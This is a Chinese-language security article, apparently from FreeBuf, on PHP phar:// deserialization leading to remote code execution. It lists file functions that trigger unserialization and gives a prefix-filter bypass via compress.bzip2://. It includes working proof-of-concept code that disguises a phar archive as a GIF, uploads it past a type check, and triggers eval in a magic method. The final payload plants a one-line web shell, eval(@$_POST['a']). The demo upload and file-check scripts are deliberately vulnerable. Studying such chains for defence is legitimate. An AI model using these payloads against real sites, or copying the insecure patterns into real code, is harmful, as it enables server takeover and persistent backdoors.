PHAR反序列化拓展操作总结
前言
近些阵子反序列化漏洞横行，看了几篇文章，整个漏洞发现过程是非常有意思的，所以希望总结下来，分享给大家一起研究讨论，如有不足还请多多指正。
正文
phar RCE
2018年HITCON上，baby cake这一题，涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题，具体可以看这里【传送门】。它的主要内容是，通过phar://协议对一个phar文件进行文件操作，如file_get_contents，就可以触发反序列化，从而达成RCE的效果。
因为在phar.c#L618处，其调用了 php_var_unserialize：
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {因此可以构造一个特殊的phar包，使得代码能够被反序列化，从而构造一个POP链。这一部分已经常见了，在使用phar://协议读取文件时，文件会被解析成phar（http://php.net/manual/zh/intro.phar.php） 解析过程中会触发php_var_unserialize()函数对meta-data的操作，造成反序列化。
延伸
知道创宇 404 实验室的研究员 seaii 更为我们指出了所有文件函数均可使用（https://paper.seebug.org/680/）：
fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink copy在 zsx 师傅的文章又通过 php_stream_open_wrapper 方法的调用函数中，探索出一些新的可用函数！
exif
exif_thumbnailexif_imagetypegd
imageloadfontimagecreatefrom***hash
hash_hmac_filehash_filehash_update_filemd5_filesha1_filefile / url
get_meta_tagsget_headersstandard
getimagesizegetimagesizefromstringzip
$zip = new ZipArchive();$res = $zip->open('c.zip');$zip->extractTo('phar://test.phar/test');Bzip / Gzip
如果 phar://不能出现在头几个字符怎么办？
demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a验证
代码
<?phperror_reporting(0);$filename=$_GET['filename'];if (preg_match("/\bphar\b/A", $filename)) { echo "stop hacking!\n";}else { class comrare{ public $haha = 'haha';
function __wakeup(){ eval($this->haha); }
}
imagecreatefromjpeg($_GET['filename']);}?>poc 验证
<?phpclass comrare{ public $haha = 'comrarezzzzz';
}@unlink('shell.phar');$phar = new Phar("shell.phar"); //后缀名必须为 phar$phar->startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$object = new comrare();//$object ->haha= 'eval(@$_POST[\'a\']);';$object ->haha= 'phpinfo();';$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest$phar->addFromString("a", "a"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>这个 poc 同时绕过了 gif 限制和 phar 开头限制，同样我们可以 getshell 成功！
测试
首先我们自己生成一个 phar 文件来观察它的结构，php 内置了一个 Phar 类来处理相关操作！
操作前请注意：要将 php.ini 中的 phar.readonly 选项设置为 Off，否则无法生成 phar 文件。
<?phpclass TestObject {}$phar = new Phar("phar.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub$o = new TestObject();$o -> data='cck';$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>运行后会生成一个 phar 文件在当前目录
我们观察下它的文件结构
可以明显的看到 meta-data 是以序列化的形式存储的。 有序列化数据必然会有反序列化操作，php 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时，都会将 meta-data 进行反序列化！
漏洞 php
<?phpclass TestObject{ function __destruct(){ echo $this -> data; // TODO: Implement __destruct() method. }}include('phar://phar.phar');?>
将 phar 伪造成其他格式的文件
在前面分析 phar 的文件结构时可能会注意到，php 识别 phar 文件是通过其文件头的 stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件。
伪造 gif 文件代码：
<?php class TestObject {
} $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置 stub，增加 gif 文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'cck'; $phar -> setMetadata($object); //将自定义 meta-data 存入 manifest $phar -> stopBuffering();?>file phar.phar 如下
这种方法可以用于上传检测！
利用
在别人复现的基础上实现了 RCE
条件
phar 文件要能够上传到服务器端。
如 file_exists()，fopen()，file_get_contents()，file() 等文件操作的函数
要有可用的魔术方法作为「跳板」。
文件操作函数的参数可控，且:、/、phar 等特殊字符没有被过滤。
环境文件
upload_file.php，后端检测文件上传，文件类型是否为 gif，文件后缀名是否为 gif
upload_file.html 文件上传表单
file_un.php 存在 file_exists()，并且存在__destruct()
文件内容
upload_file.php
<?phpif (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } }else { echo "Invalid file,you can only upload gif"; }upload_file.html
<body><form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /></form></body>file_un.php
<?php$filename=$_GET['filename'];class AnyClass{ var $output = 'echo "cck";'; function __destruct(){ eval($this -> output); }}file_exists($filename);实现流程
首先是根据 file_un.php 写一个生成 phar 的 php 文件，当然需要绕过 gif，所以需要加 GIF89a，然后我们访问这个 php 文件后，生成了 phar.phar，修改后缀为 gif，上传到服务器，然后利用 file_exists，使用 phar://执行代码
构造代码
首先用 eval.php 生成执行 phpinfo 的文件
<?phpclass AnyClass{ var $output = 'echo "cck";'; function __destruct(){ eval($this -> output); }}$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$object -> output= 'phpinfo();';$phar -> setMetadata($object);$phar -> stopBuffering();访问 eval.php，会在当前目录生成 phar.phar，然后修改后缀 gif
上传成功，获得上传目录
然后利用 file_un.php。
payload:filename=phar://upload_file/phar.gif
执行 phpinfo 成功！
RCE
既然代码能执行成功，又存在命令执行函数，我们就可以实现 RCE 获得 shell! 我们尝试上传一句话木马，修改后的文件如下：
<?phpclass AnyClass{ var $output = 'echo "cck";'; function __destruct(){ eval($this -> output); }}$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$object -> output= 'eval(@$_POST[\'a\']);';//$object -> output= 'phpinfo();';$phar -> setMetadata($object);$phar -> stopBuffering();?>同样的步骤上传，尝试连接，成功 getshell！
参考
https://paper.seebug.org/680/
*本文原创作者：cck，本文属FreeBuf原创奖励计划，未经许可禁止转载